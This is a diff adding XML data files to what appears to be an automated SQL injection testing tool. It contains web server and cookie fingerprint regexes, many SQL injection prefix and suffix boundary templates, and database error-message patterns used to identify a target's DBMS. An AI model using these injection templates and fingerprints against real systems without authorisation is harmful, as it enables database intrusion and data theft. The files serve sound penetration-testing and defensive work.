<regexp value="Apache/2\.2\.15 \(Mandriva Linux/">
<info type="Linux" distrib="Mandriva" release="2010.1"/>
<info type="Linux" distrib="Mandriva" release="2010.1|2010.2"/>
</regexp>
<!-- Apache: Red Hat -->
@@ -423,23 +571,23 @@
<regexp value="Apache/1\.3\.9 \(Unix\) \(Red Hat/Linux\)">
<info type="Linux" distrib="Red Hat" release="6.1" codename="Cartman"/>
</regexp>
<regexp value="Apache/1\.3\.12 \(Unix\) \(Red Hat/Linux\)">
<info type="Linux" distrib="Red Hat" release="6.2|7.0" codename="Zoot|Guinness"/>
</regexp>
<regexp value="Apache/1\.3\.19 \(Unix\) \(Red-Hat/Linux\)">
<info type="Linux" distrib="Red Hat" release="7.1" codename="Seawolf"/>
</regexp>
<regexp value="Apache/1\.3\.20 \(Unix\) \(Red-Hat/Linux\)">
<info type="Linux" distrib="Red Hat" release="7.2" codename="Enigma"/>
</regexp>
<regexp value="Apache/1\.3\.23 \(Unix\) \(Red-Hat/Linux\)">
<info type="Linux" distrib="Red Hat" release="7.3" codename="Valhalla"/>
</regexp>
<regexp value="Apache/1\.3\.27 \(Unix\) \(Red-Hat/Linux\)">
<info type="Linux" distrib="Red Hat" release="7.1|7.2|7.3" codename="Seawolf|Enigma|Valhalla" updated="True"/>
</regexp>
@@ -447,7 +595,7 @@
<regexp value="Apache/2\.0\.40 \(Red Hat Linux\)">
<info type="Linux" distrib="Red Hat" release="8.0|9" codename="Psyche|Shrike"/>
</regexp>
<regexp value="Apache/1\.3\.22 \(Unix\) \(Red-Hat/Linux\)">
<info type="Linux" distrib="Red Hat" release="Enterprise 2.1" codename="Panama"/>
</regexp>
@@ -464,6 +612,18 @@
<info type="Linux" distrib="Red Hat" release="Enterprise 5" codename="Tikanga"/>
</regexp>
<regexp value="Apache/2\.2\.15 \(Red Hat\)">
<info type="Linux" distrib="Red Hat" release="Enterprise 6" codename="Santiago"/>
</regexp>
<regexp value="Apache/2\.4\.6 \(Red Hat\)">
<info type="Linux" distrib="Red Hat" release="Enterprise 7" codename="Maipo"/>
</regexp>
<regexp value="Apache/2\.4\.37 \(Red Hat\)">
<info type="Linux" distrib="Red Hat" release="Enterprise 8" codename="Ootpa"/>
</regexp>
<!-- Apache: SuSE -->
<regexp value="Apache/1\.3\.6 \(Unix\) \(SuSE/Linux\)">
@@ -563,6 +723,42 @@
<info type="Linux" distrib="SuSE" release="11.3"/>
</regexp>
<regexp value="Apache/2\.2\.17 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="11.4"/>
</regexp>
<regexp value="Apache/2\.2\.21 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="12.1"/>
</regexp>
<regexp value="Apache/2\.2\.22 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="12.2|12.3"/>
</regexp>
<regexp value="Apache/2\.4\.6 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="13.1"/>
</regexp>
<regexp value="Apache/2\.4\.10 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="13.2"/>
</regexp>
<regexp value="Apache/2\.4\.16 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="42.1"/>
</regexp>
<regexp value="Apache/2\.4\.23 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="42.2|42.3"/>
</regexp>
<regexp value="Apache/2\.4\.33 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="15"/>
</regexp>
<regexp value="Apache/2\.4\.43 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="15.2"/>
</regexp>
<!-- Apache: Ubuntu -->
<regexp value="Apache/2\.0\.50 \(Ubuntu\)">
@@ -613,9 +809,111 @@
<info type="Linux" distrib="Ubuntu" release="10.10" codename="Maverick Meerkat"/>
</regexp>
<regexp value="Apache/2\.2\.17 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="11.04" codename="Natty Narwhal"/>
</regexp>
<regexp value="Apache/2\.2\.20 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="11.10" codename="Oneiric Ocelot"/>
</regexp>
<regexp value="Apache/2\.2\.22 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="12.04|12.10|13.04" codename="Precise Pangolin|Quantal Quetzal|Raring Ringtail"/>
</regexp>
<regexp value="Apache/2\.4\.6 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="13.10" codename="Saucy Salamander"/>
</regexp>
<regexp value="Apache/2\.4\.10 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="14.10|15.04" codename="utopic|vivid"/>
</regexp>
<regexp value="Apache/2\.4\.12 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="15.10" codename="willy"/>
</regexp>
<regexp value="Apache/2\.4\.18 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="16.04|16.10" codename="xenial|yakkety"/>
</regexp>
<regexp value="Apache/2\.4\.25 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="17.04" codename="zesty"/>
</regexp>
<regexp value="Apache/2\.4\.27 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="17.10" codename="artful"/>
</regexp>
<regexp value="Apache/2\.4\.29 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="18.04" codename="bionic"/>
</regexp>
<regexp value="Apache/2\.4\.34 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="18.10" codename="cosmic"/>
</regexp>
<regexp value="Apache/2\.4\.38 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="19.04" codename="disco"/>
</regexp>
<regexp value="Apache/2\.4\.41 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="19.10|20.04" codename="eoan|focal"/>
</regexp>
<!-- Nginx -->
<regexp value="nginx/([\w\.]+)">
<regexp value="nginx$">
<info technology="Nginx"/>
</regexp>
<regexp value="nginx/([\w\.]+)">
<info technology="Nginx" tech_version="1"/>
</regexp>
<!-- Google Web Server -->
<regexp value="GWS$">
<info technology="Google Web Server"/>
</regexp>
<regexp value="GWS/([\w\.]+)">
<info technology="Google Web Server" tech_version="1"/>
</regexp>
<!-- lighttpd -->
<regexp value="lighttpd$">
<info technology="lighttpd"/>
</regexp>
<regexp value="lighttpd/([\w\.]+)">
<info technology="lighttpd" tech_version="1"/>
</regexp>
<!-- OpenResty -->
<regexp value="openresty$">
<info technology="OpenResty"/>
</regexp>
<regexp value="openresty/([\w\.]+)">
<info technology="OpenResty" tech_version="1"/>
</regexp>
<!-- LiteSpeed -->
<regexp value="LiteSpeed$">
<info technology="LiteSpeed"/>
</regexp>
<regexp value="LiteSpeed/([\w\.]+)">
<info technology="LiteSpeed" tech_version="1"/>
</regexp>
<!-- Sun ONE -->
<regexp value="Sun-ONE-Web-Server/([\w\.]+)">
<info technology="Sun ONE" tech_version="1"/>
</regexp>
</root>
@@ -3,10 +3,18 @@
<!-- Reference: http://www.http-stats.com/Servlet-Engine -->
<root>
<regexp value="Tomcat( Web Server)*\/([\d\.]+)">
<regexp value="Tomcat( Web Server)?\/([\d\.]+)">
<info technology="Tomcat" tech_version="1"/>
</regexp>
<regexp value="Enhydra Application Server/([\d\.]+)">
<info technology="Enhydra" tech_version="1"/>
</regexp>
<regexp value="Jetty/([\d\.]+)">
<info technology="Jetty" tech_version="1"/>
</regexp>
<regexp value="JSP[\-\_\/\ ]([\d\.]+)">
<info technology="JSP" tech_version="1"/>
</regexp>
+65
View File
@@ -0,0 +1,65 @@
<?xml version="1.0" encoding="UTF-8"?>
<!--
References:
* http://www.http-stats.com/Set-Cookie2
* http://www.owasp.org/index.php/Category:OWASP_Cookies_Database
-->
<root>
<regexp value="ASPSESSIONID">
<info technology="ASP" type="Windows"/>
</regexp>
<regexp value="ASP\.NET_SessionId|\.ASPXAUTH">
<info technology="ASP.NET" type="Windows"/>
</regexp>
<regexp value="JSESSIONID">
<info technology="JSP"/>
</regexp>
<regexp value="JServSessionId">
<info technology="JServ"/>
</regexp>
<regexp value="Ltpatoken">
<info technology="WebSphere"/>
</regexp>
<regexp value="PHPSESS">
<info technology="PHP"/>
</regexp>
<regexp value="RoxenUserID">
<info technology="Roxen"/>
</regexp>
<regexp value="wiki\d+_session">
<info technology="MediaWiki"/>
</regexp>
<regexp value="Apache">
<info technology="Apache"/>
</regexp>
<regexp value="DomAuthSessID">
<info technology="Domino|Notes"/>
</regexp>
<regexp value="CFID|CFTOKEN|CFMAGIC|CFGLOBALS">
<info technology="ColdFusion"/>
</regexp>
<regexp value="WebLogicSession">
<info technology="WebLogic"/>
</regexp>
<regexp value="MoodleSession">
<info technology="Moodle"/>
</regexp>
<regexp value="\bwp_">
<info technology="WordPress"/>
</regexp>
</root>
+65
View File
@@ -0,0 +1,65 @@
<?xml version="1.0" encoding="UTF-8"?>
<!-- Reference: https://publicwww.com/popular/powered/index.html -->
<root>
<regexp value="PHP[\-\_\/\ ]([\d\.]+)">
<info technology="PHP" tech_version="1"/>
</regexp>
<regexp value="JSP[\-\_\/\ ]([\d\.]+)">
<info technology="JSP" tech_version="1"/>
</regexp>
<regexp value="ASP[\/\d\.]*$">
<info technology="ASP" type="Windows"/>
</regexp>
<regexp value="EasyEngine ([\d\.]+)">
<info technology="EasyEngine" tech_version="1"/>
</regexp>
<regexp value="Phusion Passenger ([\d\.]+)">
<info technology="Phusion Passenger" tech_version="1"/>
</regexp>
<regexp value="Craft CMS">
<info technology="Craft CMS"/>
</regexp>
<regexp value="Express">
<info technology="Express"/>
</regexp>
<regexp value="WP Engine">
<info technology="WP Engine"/>
</regexp>
<regexp value="PleskLin">
<info technology="Plesk" type="Linux"/>
</regexp>
<regexp value="PleskWin">
<info technology="Plesk" type="Windows"/>
</regexp>
<regexp value="ThinkPHP">
<info technology="ThinkPHP"/>
</regexp>
<regexp value="ASP\.NET">
<info technology="ASP.NET" type="Windows"/>
</regexp>
<regexp value="Tomcat[\-\_\/\ ]?([\d\.]+)">
<info technology="Tomcat" tech_version="1"/>
</regexp>
<regexp value="JBoss[\-\_\/\ ]?([\d\.]+)">
<info technology="JBoss" tech_version="1"/>
</regexp>
<regexp value="Servlet[\-\_\/\ ]?([\d\.]+)">
<info technology="Servlet" tech_version="1"/>
</regexp>
</root>
+567
View File
@@ -0,0 +1,567 @@
<?xml version="1.0" encoding="UTF-8"?>
<!--
Tag: <boundary>
How to prepend and append to the test ' <payload><comment> ' string.
Sub-tag: <level>
From which level check for this test.
Valid values:
1: Always (<100 requests)
2: Try a bit harder (100-200 requests)
3: Good number of requests (200-500 requests)
4: Extensive test (500-1000 requests)
5: You have plenty of time (>1000 requests)
Sub-tag: <clause>
In which clause the payload can work.
NOTE: for instance, there are some payload that do not have to be
tested as soon as it has been identified whether or not the
injection is within a WHERE clause condition.
Valid values:
0: Always
1: WHERE / HAVING
2: GROUP BY
3: ORDER BY
4: LIMIT
5: OFFSET
6: TOP
7: Table name
8: Column name
9: Pre-WHERE (non-query)
A comma separated list of these values is also possible.
Sub-tag: <where>
Where to add our '<prefix> <payload><comment> <suffix>' string.
Valid values:
1: When the value of <test>'s <where> is 1.
2: When the value of <test>'s <where> is 2.
3: When the value of <test>'s <where> is 3.
A comma separated list of these values is also possible.
Sub-tag: <ptype>
What is the parameter value type.
Valid values:
1: Unescaped numeric
2: Single quoted string
3: LIKE single quoted string
4: Double quoted string
5: LIKE double quoted string
6: Identifier (e.g. column name)
Sub-tag: <prefix>
A string to prepend to the payload.
Sub-tag: <suffix>
A string to append to the payload.
Formats:
<boundary>
<level></level>
<clause></clause>
<where></where>
<ptype></ptype>
<prefix></prefix>
<suffix></suffix>
</boundary>
-->
<root>
<!-- Generic boundaries -->
<boundary>
<level>3</level>
<clause>1</clause>
<where>1,2</where>
<ptype>1</ptype>
<prefix>)</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<boundary>
<level>4</level>
<clause>1</clause>
<where>1,2</where>
<ptype>2</ptype>
<prefix>')</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<boundary>
<level>3</level>
<clause>1,2,3</clause>
<where>1,2</where>
<ptype>2</ptype>
<prefix>'</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>1</clause>
<where>1,2</where>
<ptype>4</ptype>
<prefix>"</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<!-- End of generic boundaries -->
<!-- WHERE/HAVING clause boundaries -->
<boundary>
<level>1</level>
<clause>1</clause>
<where>1,2</where>
<ptype>1</ptype>
<prefix>)</prefix>
<suffix> AND ([RANDNUM]=[RANDNUM]</suffix>
</boundary>
<boundary>
<level>2</level>
<clause>1</clause>
<where>1,2</where>
<ptype>1</ptype>
<prefix>))</prefix>
<suffix> AND (([RANDNUM]=[RANDNUM]</suffix>
</boundary>
<boundary>
<level>3</level>
<clause>1</clause>
<where>1,2</where>
<ptype>1</ptype>
<prefix>)))</prefix>
<suffix> AND ((([RANDNUM]=[RANDNUM]</suffix>
</boundary>
<boundary>
<level>1</level>
<clause>0</clause>
<where>1,2,3</where>
<ptype>1</ptype>
<prefix></prefix>
<suffix></suffix>
</boundary>
<boundary>
<level>1</level>
<clause>1</clause>
<where>1,2</where>
<ptype>2</ptype>
<prefix>')</prefix>
<suffix> AND ('[RANDSTR]'='[RANDSTR]</suffix>
</boundary>
<boundary>
<level>2</level>
<clause>1</clause>
<where>1,2</where>
<ptype>2</ptype>
<prefix>'))</prefix>
<suffix> AND (('[RANDSTR]'='[RANDSTR]</suffix>
</boundary>
<boundary>
<level>3</level>
<clause>1</clause>
<where>1,2</where>
<ptype>2</ptype>
<prefix>')))</prefix>
<suffix> AND ((('[RANDSTR]'='[RANDSTR]</suffix>
</boundary>
<boundary>
<level>1</level>
<clause>1</clause>
<where>1,2</where>
<ptype>2</ptype>
<prefix>'</prefix>
<suffix> AND '[RANDSTR]'='[RANDSTR]</suffix>
</boundary>
<boundary>
<level>2</level>
<clause>1</clause>
<where>1,2</where>
<ptype>3</ptype>
<prefix>')</prefix>
<suffix> AND ('[RANDSTR]' LIKE '[RANDSTR]</suffix>
</boundary>
<boundary>
<level>3</level>
<clause>1</clause>
<where>1,2</where>
<ptype>3</ptype>
<prefix>'))</prefix>
<suffix> AND (('[RANDSTR]' LIKE '[RANDSTR]</suffix>
</boundary>
<boundary>
<level>4</level>
<clause>1</clause>
<where>1,2</where>
<ptype>3</ptype>
<prefix>')))</prefix>
<suffix> AND ((('[RANDSTR]' LIKE '[RANDSTR]</suffix>
</boundary>
<boundary>
<level>2</level>
<clause>1</clause>
<where>1,2</where>
<ptype>3</ptype>
<prefix>%'</prefix>
<suffix> AND '[RANDSTR]%'='[RANDSTR]</suffix>
</boundary>
<boundary>
<level>2</level>
<clause>1</clause>
<where>1,2</where>
<ptype>3</ptype>
<prefix>'</prefix>
<suffix> AND '[RANDSTR]' LIKE '[RANDSTR]</suffix>
</boundary>
<boundary>
<level>2</level>
<clause>1</clause>
<where>1,2</where>
<ptype>4</ptype>
<prefix>")</prefix>
<suffix> AND ("[RANDSTR]"="[RANDSTR]</suffix>
</boundary>
<boundary>
<level>3</level>
<clause>1</clause>
<where>1,2</where>
<ptype>4</ptype>
<prefix>"))</prefix>
<suffix> AND (("[RANDSTR]"="[RANDSTR]</suffix>
</boundary>
<boundary>
<level>4</level>
<clause>1</clause>
<where>1,2</where>
<ptype>4</ptype>
<prefix>")))</prefix>
<suffix> AND ((("[RANDSTR]"="[RANDSTR]</suffix>
</boundary>
<boundary>
<level>2</level>
<clause>1</clause>
<where>1,2</where>
<ptype>4</ptype>
<prefix>"</prefix>
<suffix> AND "[RANDSTR]"="[RANDSTR]</suffix>
</boundary>
<boundary>
<level>3</level>
<clause>1</clause>
<where>1,2</where>
<ptype>5</ptype>
<prefix>")</prefix>
<suffix> AND ("[RANDSTR]" LIKE "[RANDSTR]</suffix>
</boundary>
<boundary>
<level>4</level>
<clause>1</clause>
<where>1,2</where>
<ptype>5</ptype>
<prefix>"))</prefix>
<suffix> AND (("[RANDSTR]" LIKE "[RANDSTR]</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>1</clause>
<where>1,2</where>
<ptype>5</ptype>
<prefix>")))</prefix>
<suffix> AND ((("[RANDSTR]" LIKE "[RANDSTR]</suffix>
</boundary>
<boundary>
<level>3</level>
<clause>1</clause>
<where>1,2</where>
<ptype>5</ptype>
<prefix>"</prefix>
<suffix> AND "[RANDSTR]" LIKE "[RANDSTR]</suffix>
</boundary>
<boundary>
<level>1</level>
<clause>1</clause>
<where>1,2</where>
<ptype>1</ptype>
<prefix></prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<boundary>
<level>3</level>
<clause>1</clause>
<where>1,2</where>
<ptype>1</ptype>
<prefix></prefix>
<suffix># [RANDSTR]</suffix>
</boundary>
<!-- e.g. admin' AND [INFERENCE] OR 'foo'='bar' AND password=$password -->
<boundary>
<level>3</level>
<clause>1</clause>
<where>1,2</where>
<ptype>2</ptype>
<prefix>'</prefix>
<suffix> OR '[RANDSTR1]'='[RANDSTR2]</suffix>
</boundary>
<!-- End of WHERE/HAVING clause boundaries -->
<!-- Pre-WHERE generic boundaries (e.g. "UPDATE table SET '$_REQUEST["name"]' WHERE id=1" or "INSERT INTO table VALUES('$_REQUEST["value"]') WHERE id=1)"-->
<boundary>
<level>5</level>
<clause>9</clause>
<where>1,2</where>
<ptype>2</ptype>
<prefix>') WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>9</clause>
<where>1,2</where>
<ptype>2</ptype>
<prefix>") WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<boundary>
<level>4</level>
<clause>9</clause>
<where>1,2</where>
<ptype>1</ptype>
<prefix>) WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<boundary>
<level>4</level>
<clause>9</clause>
<where>1,2</where>
<ptype>2</ptype>
<prefix>' WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>9</clause>
<where>1,2</where>
<ptype>4</ptype>
<prefix>" WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<boundary>
<level>4</level>
<clause>9</clause>
<where>1,2</where>
<ptype>1</ptype>
<prefix> WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>9</clause>
<where>1</where>
<ptype>2</ptype>
<prefix>'||(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>)||'</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>9</clause>
<where>1</where>
<ptype>2</ptype>
<prefix>'||(SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>)||'</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>9</clause>
<where>1</where>
<ptype>2</ptype>
<prefix>'+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>)+'</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>9</clause>
<where>1</where>
<ptype>2</ptype>
<prefix>||(SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>)||</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>9</clause>
<where>1</where>
<ptype>2</ptype>
<prefix>||(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>)||</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>9</clause>
<where>1</where>
<ptype>1</ptype>
<prefix>+(SELECT [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>)+</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>9</clause>
<where>1</where>
<ptype>2</ptype>
<prefix>+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>)+</suffix>
</boundary>
<!-- End of pre-WHERE generic boundaries -->
<!-- Pre-WHERE derived table boundaries - e.g. "SELECT * FROM (SELECT column FROM table WHERE column LIKE '%$_REQUEST["name"]%') AS t1"-->
<boundary>
<level>5</level>
<clause>1</clause>
<where>1,2</where>
<ptype>2</ptype>
<prefix>')) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>1</clause>
<where>1,2</where>
<ptype>2</ptype>
<prefix>")) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>1</clause>
<where>1,2</where>
<ptype>1</ptype>
<prefix>)) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<boundary>
<level>4</level>
<clause>1</clause>
<where>1,2</where>
<ptype>2</ptype>
<prefix>') AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>1</clause>
<where>1,2</where>
<ptype>4</ptype>
<prefix>") AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<boundary>
<level>4</level>
<clause>1</clause>
<where>1,2</where>
<ptype>1</ptype>
<prefix>) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<boundary>
<level>4</level>
<clause>1</clause>
<where>1</where>
<ptype>1</ptype>
<prefix>` WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>1</clause>
<where>1</where>
<ptype>1</ptype>
<prefix>`) WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<!-- End of pre-WHERE derived table boundaries -->
<!-- Escaped column name (e.g. SELECT `...` FROM table) boundaries -->
<boundary>
<level>4</level>
<clause>8</clause>
<where>1</where>
<ptype>6</ptype>
<prefix>`=`[ORIGINAL]`</prefix>
<suffix> AND `[ORIGINAL]`=`[ORIGINAL]</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>8</clause>
<where>1</where>
<ptype>6</ptype>
<prefix>"="[ORIGINAL]"</prefix>
<suffix> AND "[ORIGINAL]"="[ORIGINAL]</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>8</clause>
<where>1</where>
<ptype>6</ptype>
<prefix>]-(SELECT 0 WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>)|[[ORIGINAL]</suffix>
</boundary>
<!-- End of escaped column name boundaries -->
<!-- AGAINST boolean full-text search boundaries (http://dev.mysql.com/doc/refman/5.5/en/fulltext-boolean.html) -->
<boundary>
<level>4</level>
<clause>1</clause>
<where>1</where>
<ptype>2</ptype>
<prefix>' IN BOOLEAN MODE)</prefix>
<suffix>#</suffix>
</boundary>
<!-- End of AGAINST boolean full-text search boundaries -->
</root>
+234
View File
@@ -0,0 +1,234 @@
<?xml version="1.0" encoding="UTF-8"?>
<root>
<dbms value="MySQL">
<error regexp="SQL syntax.*?MySQL"/>
<error regexp="Warning.*?\Wmysqli?_"/>
<error regexp="MySQLSyntaxErrorException"/>
<error regexp="valid MySQL result"/>
<error regexp="check the manual that (corresponds to|fits) your MySQL server version"/>
<error regexp="check the manual that (corresponds to|fits) your MariaDB server version" fork="MariaDB"/>
<error regexp="check the manual that (corresponds to|fits) your Drizzle server version" fork="Drizzle"/>
<error regexp="Unknown column '[^ ]+' in 'field list'"/>
<error regexp="MySqlClient\."/>
<error regexp="com\.mysql\.jdbc"/>
<error regexp="Zend_Db_(Adapter|Statement)_Mysqli_Exception"/>
<error regexp="Pdo[./_\\]Mysql"/>
<error regexp="MySqlException"/>
<error regexp="SQLSTATE\[\d+\]: Syntax error or access violation"/>
<error regexp="MemSQL does not support this type of query" fork="MemSQL"/>
<error regexp="is not supported by MemSQL" fork="MemSQL"/>
<error regexp="unsupported nested scalar subselect" fork="MemSQL"/>
</dbms>
<dbms value="PostgreSQL">
<error regexp="PostgreSQL.*?ERROR"/>
<error regexp="Warning.*?\Wpg_"/>
<error regexp="valid PostgreSQL result"/>
<error regexp="Npgsql\."/>
<error regexp="PG::SyntaxError:"/>
<error regexp="org\.postgresql\.util\.PSQLException"/>
<error regexp="ERROR:\s\ssyntax error at or near"/>
<error regexp="ERROR: parser: parse error at or near"/>
<error regexp="PostgreSQL query failed"/>
<error regexp="org\.postgresql\.jdbc"/>
<error regexp="Pdo[./_\\]Pgsql"/>
<error regexp="PSQLException"/>
</dbms>
<dbms value="Microsoft SQL Server">
<error regexp="Driver.*? SQL[\-\_\ ]*Server"/>
<error regexp="OLE DB.*? SQL Server"/>
<error regexp="\bSQL Server[^&lt;&quot;]+Driver"/>
<error regexp="Warning.*?\W(mssql|sqlsrv)_"/>
<error regexp="\bSQL Server[^&lt;&quot;]+[0-9a-fA-F]{8}"/>
<error regexp="System\.Data\.SqlClient\.(SqlException|SqlConnection\.OnError)"/>
<error regexp="(?s)Exception.*?\bRoadhouse\.Cms\."/>
<error regexp="Microsoft SQL Native Client error '[0-9a-fA-F]{8}"/>
<error regexp="\[SQL Server\]"/>
<error regexp="ODBC SQL Server Driver"/>
<error regexp="ODBC Driver \d+ for SQL Server"/>
<error regexp="SQLServer JDBC Driver"/>
<error regexp="com\.jnetdirect\.jsql"/>
<error regexp="macromedia\.jdbc\.sqlserver"/>
<error regexp="Zend_Db_(Adapter|Statement)_Sqlsrv_Exception"/>
<error regexp="com\.microsoft\.sqlserver\.jdbc"/>
<error regexp="Pdo[./_\\](Mssql|SqlSrv)"/>
<error regexp="SQL(Srv|Server)Exception"/>
<error regexp="Unclosed quotation mark after the character string"/>
</dbms>
<dbms value="Microsoft Access">
<error regexp="Microsoft Access (\d+ )?Driver"/>
<error regexp="JET Database Engine"/>
<error regexp="Access Database Engine"/>
<error regexp="ODBC Microsoft Access"/>
<error regexp="Syntax error \(missing operator\) in query expression"/>
</dbms>
<dbms value="Oracle">
<error regexp="\bORA-\d{5}"/>
<error regexp="Oracle error"/>
<error regexp="Oracle.*?Driver"/>
<error regexp="Warning.*?\W(oci|ora)_"/>
<error regexp="quoted string not properly terminated"/>
<error regexp="SQL command not properly ended"/>
<error regexp="macromedia\.jdbc\.oracle"/>
<error regexp="oracle\.jdbc"/>
<error regexp="Zend_Db_(Adapter|Statement)_Oracle_Exception"/>
<error regexp="Pdo[./_\\](Oracle|OCI)"/>
<error regexp="OracleException"/>
</dbms>
<dbms value="IBM DB2">
<error regexp="CLI Driver.*?DB2"/>
<error regexp="DB2 SQL error"/>
<error regexp="\bdb2_\w+\("/>
<error regexp="SQLCODE[=:\d, -]+SQLSTATE"/>
<error regexp="com\.ibm\.db2\.jcc"/>
<error regexp="Zend_Db_(Adapter|Statement)_Db2_Exception"/>
<error regexp="Pdo[./_\\]Ibm"/>
<error regexp="DB2Exception"/>
<error regexp="ibm_db_dbi\.ProgrammingError"/>
</dbms>
<dbms value="Informix">
<error regexp="Warning.*?\Wifx_"/>
<error regexp="Exception.*?Informix"/>
<error regexp="Informix ODBC Driver"/>
<error regexp="ODBC Informix driver"/>
<error regexp="com\.informix\.jdbc"/>
<error regexp="weblogic\.jdbc\.informix"/>
<error regexp="Pdo[./_\\]Informix"/>
<error regexp="IfxException"/>
</dbms>
<!-- Interbase/Firebird -->
<dbms value="Firebird">
<error regexp="Dynamic SQL Error"/>
<error regexp="Warning.*?\Wibase_"/>
<error regexp="org\.firebirdsql\.jdbc"/>
<error regexp="Pdo[./_\\]Firebird"/>
</dbms>
<dbms value="SQLite">
<error regexp="SQLite/JDBCDriver"/>
<error regexp="SQLite\.Exception"/>
<error regexp="(Microsoft|System)\.Data\.SQLite\.SQLiteException"/>
<error regexp="Warning.*?\W(sqlite_|SQLite3::)"/>
<error regexp="\[SQLITE_ERROR\]"/>
<error regexp="SQLite error \d+:"/>
<error regexp="sqlite3.OperationalError:"/>
<error regexp="SQLite3::SQLException"/>
<error regexp="org\.sqlite\.JDBC"/>
<error regexp="Pdo[./_\\]Sqlite"/>
<error regexp="SQLiteException"/>
</dbms>
<dbms value="SAP MaxDB">
<error regexp="SQL error.*?POS([0-9]+)"/>
<error regexp="Warning.*?\Wmaxdb_"/>
<error regexp="DriverSapDB"/>
<error regexp="-3014.*?Invalid end of SQL statement"/>
<error regexp="com\.sap\.dbtech\.jdbc"/>
<error regexp="\[-3008\].*?: Invalid keyword or missing delimiter"/>
</dbms>
<dbms value="Sybase">
<error regexp="Warning.*?\Wsybase_"/>
<error regexp="Sybase message"/>
<error regexp="Sybase.*?Server message"/>
<error regexp="SybSQLException"/>
<error regexp="Sybase\.Data\.AseClient"/>
<error regexp="com\.sybase\.jdbc"/>
</dbms>
<dbms value="Ingres">
<error regexp="Warning.*?\Wingres_"/>
<error regexp="Ingres SQLSTATE"/>
<error regexp="Ingres\W.*?Driver"/>
<error regexp="com\.ingres\.gcf\.jdbc"/>
</dbms>
<dbms value="FrontBase">
<error regexp="Exception (condition )?\d+\. Transaction rollback"/>
